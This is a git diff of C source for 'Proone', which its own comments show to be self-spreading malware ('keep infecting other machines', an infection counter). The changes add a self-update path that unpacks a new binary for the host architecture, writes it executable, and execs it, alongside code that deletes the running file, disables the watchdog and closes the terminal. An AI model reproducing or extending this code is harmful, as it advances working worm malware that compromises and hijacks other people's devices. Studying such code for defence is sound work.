@@ -618,6 +772,7 @@ static bool init_shared_global (void) {
 		prne_dbgperr("* Failed to initialise shared global");
 	}
 	else {
+		// Session init code goes here
 		prne_s_g->ny_bin_path[0] = 0;
 	}
 
@@ -641,15 +796,11 @@ static void init_ids (void) {
 	char line[37];
 	int fd = -1;
 
-	if (mbedtls_ctr_drbg_random(
+	mbedtls_ctr_drbg_random(
 		&prne_g.ssl.rnd,
 		prne_g.instance_id,
-		sizeof(prne_g.instance_id)) != 0)
-	{
-		prne_memzero(prne_g.instance_id, sizeof(prne_g.instance_id));
-	}
+		sizeof(prne_g.instance_id));
 
-	prne_memzero(prne_g.boot_id, 16);
 	do { // fake loop
 		fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY);
 		if (fd < 0) {
@@ -673,7 +824,6 @@ static void set_host_credential (const char *str) {
 		return;
 	}
 
-	// TODO: test
 	mbedtls_base64_decode(
 		prne_s_g->host_cred_data,
 		sizeof(prne_s_g->host_cred_data),
@@ -682,7 +832,94 @@ static void set_host_credential (const char *str) {
 		strlen(str));
 }
 
-static void run_ny_bin (void) {
+static char *do_recombination (const uint8_t *m_nybin, const size_t nybin_len) {
+	uint8_t buf[4096];
+	char *exec = NULL, *ret = NULL;
+	const char *path;
+	prne_bin_archive_t ba;
+	prne_bin_rcb_ctx_t rcb;
+	const uint8_t *m_dv, *m_ba;
+	size_t dv_len, ba_len;
+	prne_pack_rc_t prc;
+	int fd = -1;
+	ssize_t f_ret;
+	size_t path_len;
+
+	prne_init_bin_archive(&ba);
+	prne_init_bin_rcb_ctx(&rcb);
+
+	if (nybin_len < 8) {
+		goto END;
+	}
+	dv_len = prne_recmb_msb16(m_nybin[0], m_nybin[1]);
+	if (8 + dv_len > nybin_len) {
+		goto END;
+	}
+	m_dv = m_nybin + 8;
+	m_ba = m_nybin + 8 + prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT);
+	ba_len = nybin_len - (m_ba - m_nybin);
+
+	prc = prne_index_bin_archive(m_ba, ba_len, &ba);
+	if (prc != PRNE_PACK_RC_OK) {
+		goto END;
+	}
+	prc = prne_start_bin_rcb(
+		&rcb,
+		prne_host_arch,
+		PRNE_ARCH_NONE,
+		NULL,
+		0,
+		0,
+		m_dv,
+		dv_len,
+		&ba);
+	if (prc != PRNE_PACK_RC_OK) {
+		goto END;
+	}
+
+	path = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &path_len);
+	exec = prne_alloc_str(path_len);
+	if (exec == NULL) {
+		goto END;
+	}
+	strcpy(exec, path);
+	prne_dvault_reset();
+	fd = open(
+		exec,
+		O_WRONLY | O_CREAT | O_TRUNC,
+		0700);
+	if (fd < 0) {
+		goto END;
+	}
+	chmod(exec, 0700);
+
+	do {
+		f_ret = prne_bin_rcb_read(&rcb, buf, sizeof(buf), &prc, NULL);
+		if (f_ret < 0) {
+			goto END;
+		}
+		if (f_ret > 0 && write(fd, buf, f_ret) != f_ret) {
+			goto END;
+		}
+	} while (prc != PRNE_PACK_RC_EOF);
+
+	ret = exec;
+	exec = NULL;
+
+END:
+	prne_dvault_reset();
+	if (exec != NULL && fd > 0) {
+		unlink(exec);
+	}
+	prne_free(exec);
+	prne_free_bin_archive(&ba);
+	prne_free_bin_rcb_ctx(&rcb);
+	prne_close(fd);
+
+	return ret;
+}
+
+static void do_exec (const char *exec, char **args) {
 	sigset_t old_ss;
 	bool has_ss;
 
@@ -691,7 +928,8 @@ static void run_ny_bin (void) {
 	deinit_shared_global();
 	has_ss = sigprocmask(SIG_UNBLOCK, &ss_all, &old_ss) == 0;
 
-	// TODO
+	execv(exec, args);
+	prne_dbgperr("** exec()");
 
 	// exec() failed
 	// Restore previous condifion
@@ -701,11 +939,82 @@ static void run_ny_bin (void) {
 	init_shared_global();
 }
 
+static void run_ny_bin (void) {
+	const uint8_t *m_nybin = NULL;
+	size_t nybin_len = 0;
+	off_t ofs;
+	int fd = -1;
+	char **args = NULL;
+	char *add_args[1] = { NULL };
+
+	fd = open(prne_s_g->ny_bin_path, O_RDONLY);
+	unlink(prne_s_g->ny_bin_path);
+	prne_s_g->ny_bin_path[0] = 0;
+	if (fd < 0) {
+		goto END;
+	}
+	ofs = lseek(fd, 0, SEEK_END);
+	if (ofs < 0) {
+		goto END;
+	}
+	nybin_len = (size_t)ofs;
+
+	m_nybin = (const uint8_t*)mmap(
+		NULL,
+		nybin_len,
+		PROT_READ,
+		MAP_SHARED,
+		fd,
+		0);
+	close(fd);
+	fd = -1;
+	if (m_nybin == MAP_FAILED) {
+		m_nybin = NULL;
+		goto END;
+	}
+	add_args[0] = do_recombination(m_nybin, nybin_len);
+	if (add_args[0] == NULL) {
+		goto END;
+	}
+
+	add_args[0] = add_args[0];
+	args = prne_htbt_parse_args(
+		prne_s_g->ny_bin_args,
+		sizeof(prne_s_g->ny_bin_args),
+		1,
+		add_args,
+		NULL,
+		SIZE_MAX);
+	if (args == NULL) {
+		goto END;
+	}
+	do_exec(args[0], args);
+
+END:
+	prne_close(fd);
+	if (m_nybin != NULL) {
+		munmap((void*)m_nybin, nybin_len);
+	}
+	if (add_args[0] != NULL) {
+		unlink(add_args[0]);
+		prne_free(add_args[0]);
+	}
+	prne_free(args);
+}
+
 
 int main (const int argc, const char **args) {
 	static int exit_code;
 	static bool loop = true;
 
+	// done with the terminal
+	close(STDIN_FILENO);
+#ifndef PRNE_DEBUG
+	// Some stupid library can use these
+	close(STDOUT_FILENO);
+	close(STDERR_FILENO);
+#endif
+
 	sigemptyset(&ss_exit);
 	sigemptyset(&ss_all);
 	sigaddset(&ss_exit, SIGINT);
@@ -716,12 +1025,10 @@ int main (const int argc, const char **args) {
 	sigaddset(&ss_all, SIGPIPE);
 
 	prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC);
-	prne_g.resolv = NULL;
 	prne_g.parent_pid = getpid();
-	prne_g.child_pid = 0;
+	prne_g.blackhole[0] = -1;
+	prne_g.blackhole[1] = -1;
 	prne_g.shm_fd = -1;
-	prne_g.bin_ready = false;
-	prne_g.is_child = false;
 	prne_init_bin_archive(&prne_g.bin_archive);
 	mbedtls_x509_crt_init(&prne_g.ssl.ca);
 	prne_mbedtls_entropy_init(&prne_g.ssl.entpy);
@@ -730,12 +1037,11 @@ int main (const int argc, const char **args) {
 	mbedtls_x509_crt_init(&prne_g.s_ssl.crt);
 	mbedtls_pk_init(&prne_g.s_ssl.pk);
 	mbedtls_dhm_init(&prne_g.s_ssl.dhm);
-	prne_g.s_ssl.ready = false;
 	mbedtls_ssl_config_init(&prne_g.c_ssl.conf);
 	mbedtls_x509_crt_init(&prne_g.c_ssl.crt);
 	mbedtls_pk_init(&prne_g.c_ssl.pk);
-	prne_g.c_ssl.ready = false;
 
+	open_blackhole();
 	init_proone(args[0]);
 
 	/* inits that need outside resources. IN THIS ORDER! */
@@ -750,22 +1056,11 @@ int main (const int argc, const char **args) {
 	delete_myself(args[0]);
 	disasble_watchdog();
 
-
-	// load data from stdin
 	if (argc > 1) {
 		set_host_credential(args[1]);
 	}
 
-	// done with the terminal
-	close(STDIN_FILENO);
-#ifndef PRNE_DEBUG
-	// Some stupid library can use these
-	close(STDOUT_FILENO);
-	close(STDERR_FILENO);
-#endif
-
 	sigprocmask(SIG_BLOCK, &ss_all, NULL);
-
 	// main loop
 	while (loop) {
 		prne_g.child_pid = fork();
@@ -812,9 +1107,10 @@ int main (const int argc, const char **args) {
 						prne_dbgpf("* Detected new bin. Attempting to exec()\n");
 						run_ny_bin();
 						// run_ny_bin() returns if fails
-						prne_dbgperr("** run_ny_bin() failed");
 					}
-					break;
+					else {
+						break;
+					}
 				}
 			}
 			else if (WIFSIGNALED(status)) {
@@ -823,7 +1119,7 @@ int main (const int argc, const char **args) {
 
 			if (has_ny_bin) {
 				unlink(prne_s_g->ny_bin_path);
-				prne_memzero(prne_s_g->ny_bin_path, sizeof(prne_s_g->ny_bin_path));
+				prne_s_g->ny_bin_path[0] = 0;
 			}
 
 			sleep(1);
@@ -833,6 +1129,7 @@ int main (const int argc, const char **args) {
 			prne_g.shm_fd = -1;
 			prne_g.is_child = true;
 			prne_g.child_start = prne_gettime(CLOCK_MONOTONIC);
+			prne_g.child_pid = getpid();
 
 			exit_code = proone_main();
 			break;
@@ -842,23 +1139,21 @@ int main (const int argc, const char **args) {
 
 END:
 	prne_free_bin_archive(&prne_g.bin_archive);
-	prne_g.bin_ready = false;
 
 	mbedtls_ssl_config_free(&prne_g.s_ssl.conf);
 	mbedtls_x509_crt_free(&prne_g.s_ssl.crt);
 	mbedtls_pk_free(&prne_g.s_ssl.pk);
 	mbedtls_dhm_free(&prne_g.s_ssl.dhm);
-	prne_g.s_ssl.ready = false;
 	mbedtls_ssl_config_free(&prne_g.c_ssl.conf);
 	mbedtls_x509_crt_free(&prne_g.c_ssl.crt);
 	mbedtls_pk_free(&prne_g.c_ssl.pk);
-	prne_g.c_ssl.ready = false;
 	mbedtls_x509_crt_free(&prne_g.ssl.ca);
 	mbedtls_ctr_drbg_free(&prne_g.ssl.rnd);
 	mbedtls_entropy_free(&prne_g.ssl.entpy);
 
 	deinit_shared_global();
 	deinit_proone();
+	close_blackhole();
 
 	return exit_code;
 }
diff --git a/src/proone.h b/src/proone.h
index cbd1cd9..a3aac4d 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -1,6 +1,7 @@
 #pragma once
 #include "pack.h"
 #include "resolv.h"
+#include "htbt.h"
 
 #include <stdint.h>
 #include <stdbool.h>
@@ -23,15 +24,16 @@ struct prne_global { // TODO: tidy init code when finalised
 	* Could be NULL. Just keep infecting other machines without it.
 	*/
 	prne_resolv_t *resolv;
+	prne_htbt_t *htbt;
 	pid_t parent_pid;
 	pid_t child_pid;
-	int shm_fd;
 	uint8_t *m_dvault;
 	const uint8_t *m_exec;
 	size_t exec_size;
 	const uint8_t *m_exec_dvault;
+	int blackhole[2];
+	int shm_fd;
 	uint16_t dvault_size;
-	bool bin_ready;
 	bool is_child;
 
 	prne_bin_archive_t bin_archive;
@@ -65,7 +67,7 @@ struct prne_shared_global {
 	uint64_t bne_cnt;
 	// Number of successful infections.
 	uint64_t infect_cnt;
-	// null-terminated name of new binary
+	// null-terminated path to the new binary image
 	char ny_bin_path[256];
 	char ny_bin_args[1024];
 	size_t host_cred_len;
-- 
cgit v1.2.3-70-g09d2